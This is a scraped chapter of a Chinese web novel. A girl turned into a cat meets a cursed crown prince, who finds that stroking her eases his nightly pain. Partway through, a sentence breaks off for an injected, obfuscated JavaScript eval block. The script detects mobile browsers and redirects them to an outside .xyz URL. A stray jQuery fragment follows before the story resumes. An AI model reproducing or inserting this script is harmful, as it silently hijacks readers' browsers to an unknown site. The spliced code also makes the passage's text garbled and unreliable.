魁星楼高台周边的栏杆上,一排排石灯笼里的烛火在夜风中忽明忽暗,只能提供基础照明。
要不是那个扔刀男人主动靠近,月玲的猫眼也只是依稀看到男人端正的五官轮廓而已。
“小明子。”这是凤北骁今夜登楼后说的第一句话,声音清冽好听,可没有丝毫感情起伏。“那位大师养猫了吗?”
小明子心里又过了一遍听来的消息,“殿下,不曾听说。”
凤北骁细细观察粉白猫,它的模样和毛发像宫里养的波斯猫,可它没有蓝眼珠,而是一对漆黑明亮的黑眼珠,如同黑宝石般漂亮。
此刻的粉白猫蜷缩着身子,和先前全身炸毛完全不同的顺从。
“明天一早你去司天监找郭监正,问这只猫是司天监养的吗?”
司天监有过养灵猫的记录,灵猫通灵,通常用于祭坛的供奉,传递皇室祈福。
凤北骁很清楚现任监正致力于学术,对供奉祭祀这些古老仪式并不看重。
月玲先前太激动,现在被捏住后颈皮反而冷静了。
看来俊美男人是皇宫内的上位者身份,深更半夜来魁星楼多半是找自己,果然还是引起某些大人物注意了。
可这大人物太不友好了,一言未发就扔刀子,一想到这里,月玲又忍不住翻白眼。
“哼!你去问吧,问了也白问!等我恢复了,你们还不是啥也不知道!”她在心里暗暗下决心,恢复人样要远离此人。
凤北骁在吩咐小明子做事,但视线就没离开过粉白猫。
它的神情完全落入他的眼里,感觉得它似乎在努力地翻眼珠。
这是什么表情?
夜已深,今夜此行无收获,除了奇怪的粉白猫。
小明子全程很紧张,真的很怕猫不小心挠到了太子殿下,随时作好接手的准备。
可凤北骁将粉白猫放回原地。
如果它是司天监的灵猫,它出现在此处是很正常的。
“回宫。”凤北骁心中默念着时辰,应该还来得及。
于是,月玲猫又孤零零在魁星楼平台,目送大人物主仆离去。
她莫名有点不舍,如果这位大人物来占卜,他给的报酬和普通人可不一样,能量更强。
“别想了,不怕惹麻烦啊!”月玲慌忙摇晃猫头,光是她的上司都很让她头痛了,这投刀男人肯定也不好惹,能少麻烦就不要去自找。
该去找个安全的地方躲起来,静待时机恢复原样。
月玲无法预料此次恢复的时间,天宋皇朝不是魔法世界,魔力很稀薄。
为了保险起见,她跳上石桌,翻出宣纸,用猫爪拔拉着毛笔,写了简短的病假说明。将病假说明和值守册放一起,明早来收拾整理的下人看到会交给白天值守同僚。
平时简单顺手的事,月玲费劲才用猫爪拔拉完成。
做完这一切后,她轻盈跳上栏杆,远眺整片皇城,好好找个安静人少的地方。
*
月玲在皇宫东面找了处僻静的宫殿。
她是根据宫殿格局、照明等来决定。格局不大气,夜晚黑漆漆,多半是下人住所或冷宫等。相反的多半是主子住所,舒适又人少。只要好好躲起来,安心等待即可。
在跑到东面那座宫殿前面时,月玲才发觉实际情况比在高楼上看到还宏伟。
她当猫也有心得,很熟络地绕过夜晚巡逻的卫兵,跳过围墙,钻入树篱中,小心隐匿自己。
走到宫殿院落里最安静的地方,月玲耐心蹲守好一会儿,确认此处没其他人出入,决定就是这里了。
亮着烛火的房间里,窗户没有关,月玲跳上窗楞,一下就钻房间里。
“先找个地方暖暖地躺着。”
房间里的摆设一看就是主子住的,外间那张卧榻几乎和床铺一般大。月玲想在卧榻上找个不起眼的角落,今晚窝着美美睡一觉。
就在月玲经过屋内一扇屏风时,忽地从屏风后伸出一只骨节分明好看的手,她今晚第二次被捏起了后颈皮!
紧接着,男人嗓音响起,“又是你!”
月玲知道这道声音,她刚刚才听过!
她今晚怎么连续栽同一人手上啊!
还是在魁星楼上遇到那个大人物,只不过这回他的嗓音中带着少许嘶哑,以及某种异样的情绪。
“你怎么来这里了?”那张俊美无伦的俊颜再次逼近,且直视着月玲的眼睛。
又一次大美男容颜的近距离暴击,月玲呼吸一滞。
咦?月玲发觉不对劲,绝世美男脸色不太好,似乎很疲倦。
虽然疲惫,却也带着病娇美人的诱惑感。
世间还有人能好看成这样,特别这还是个男人!
在魁星楼时,凤北骁就知道粉白猫似乎通人性,它好似能懂人说的话。
此刻又看到它眼里带着痴,还有挣扎的情绪,心底没由来有丝松动。
也许粉白猫有什么秘密?
月玲无法挣脱被捏住后颈皮,近距离的美颜暴击又会让她大脑宕机,她只得努力移开视线。
刚移开,她又瞳孔地震了!
绝世大美男居然在洗澡,他正裸着身子泡在澡盆里。此刻,他身子精壮匀称,胸肌的美好轮廓一览无余。沿着胸肌往下,规则的八块腹肌。再往下,水中隐隐绰绰。
“噗!”
月玲真的受不住了,她年龄还小,没见过如此香辣的场面。即使她现在是猫,那也是人类变成的仿态,也带着人类的习性。
凤北骁从未养过猫,更未见过猫流鼻血。
此时,他眼睁睁见到粉白猫视线往下,然后那只粉粉的鼻子里流出几滴鲜血。
无论这只粉白猫是不是司天监养的,它的不寻常,让凤北骁不想随意对待它。
喊人来看看是怎么回事,粉白猫流鼻血了,可别就出事了。
就这样想着,正在泡热水药浴缓解的凤北骁站起来,另一只手拿挂在屏风上的亵衣。
然后,凤北骁发现更糟糕了,粉白猫居然两眼一闭,浑身无力。
月玲在见到绝世大美男全身赤裸从水里出来时,她受到的冲击达到顶峰,脑子嗡嗡作响,直接晕了。
“……”
凤北骁产生了无法言说的直觉,这粉白猫不像是病了,反而像……
他很难形容,也无法将这两种场景联系到一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552051|171270||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起,这是不可能的吧!
凤北骁是天宋皇朝当今的监国太子,身份尊贵,特别是他的容貌,每当有女子见到他,特别夸张的会晕过去。
这只粉白猫见到他后的一系列反应,和那些见到他失神或晕倒的女子,场景几乎一样。
“这怎么可能!”凤北骁甩开脑中这种怪异念头。
他只手披上系好亵衣,正要喊人,却陡然停下。
不对劲,真的很不对劲!
为了验证心里的猜测,凤北骁没有喊来下人,他直盯盯看着手里捏着的粉白猫,见它仍是昏厥状,鼻血倒是没再滴了。
凤北骁走向那张宽大的卧塌,轻轻地将粉白猫放在绣着金线孔雀的锦褥上,静静地看着它。
不到一刻钟,“唔……”他不禁坐下,捂着胸口。
月玲感觉被放到柔软的触感上时,脑子总算从昏昏然中清醒了一点点。
“怎么了啊?”她慢吞吞睁眼,实在是还有点晕乎。
那双修长的手又伸过来了。
“喵!”月玲再次被应激,又来!
还想第三次拿捏她吗?
出乎意料的是,这次没有捏她猫身的后颈皮,而是轻柔地抚摸上猫头。
月玲懵了!
一会儿捏她后颈皮,一会儿摩挲她的毛发。绝世大美男在想什么呢?
月玲在享受着被挠的同时,不时眯着眼,偷瞄着他。
嗯,他的脸还是那般完美,就是神情略微复杂。
凤北骁表面平静,毫无波澜,内心却掀起惊天骇浪。
他坐在卧塌上,手一下又一下,似是不经意地挠着身边的粉白猫。
除了诊治的心腹太医略知一二,没人知道凤北骁每夜子时过后发作的疼痛。
为缓解他的痛苦,心腹太医为他开具药浴配方,因此他每个深夜都泡在药水中,直到一两个时辰过去方能歇息。
皇帝身体时常欠安,作为监国太子的他无法休息充足,时常强撑着在卯时就去上朝。
凤北骁子时仍在魁星楼,当时胸口疼痛就有点开始迹象。
不是太严重时,他还能忍耐。回到东宫后,立刻进入早已备好的药浴中。
药浴只是缓解,并不能根除,而且长期的浸泡,让他的精神十分疲倦。
直到这只粉白猫的闯入。
凤北骁发现只要摸着粉白猫,胸口的疼痛感会消失。
他刚才尝试放开粉白猫,同时也离开了药浴。果然,胸口疼痛感又不时发作起来。
可当他与粉白猫有接触,细心感受下,那股熟悉的疼痛渐渐退去。
“粉白猫到底从哪儿来的?”
凤北骁对它产生了强烈的好奇,它是不是与解开诅咒有关联?
不管如何,疼痛消失,自己也不用再受罪,先将粉白猫留在身边。
凤北骁干脆抱起粉白猫,走向里间的紫檀雕螭龙床。
月玲正享受着被挠得舒服,绝世大美男再次让她震惊了!
她人都快麻了,今晚还有多少刺激在等着她啊?一起来好了!
不管了,她很困倦了,要睡就一起睡啊,反正她现在也不是人。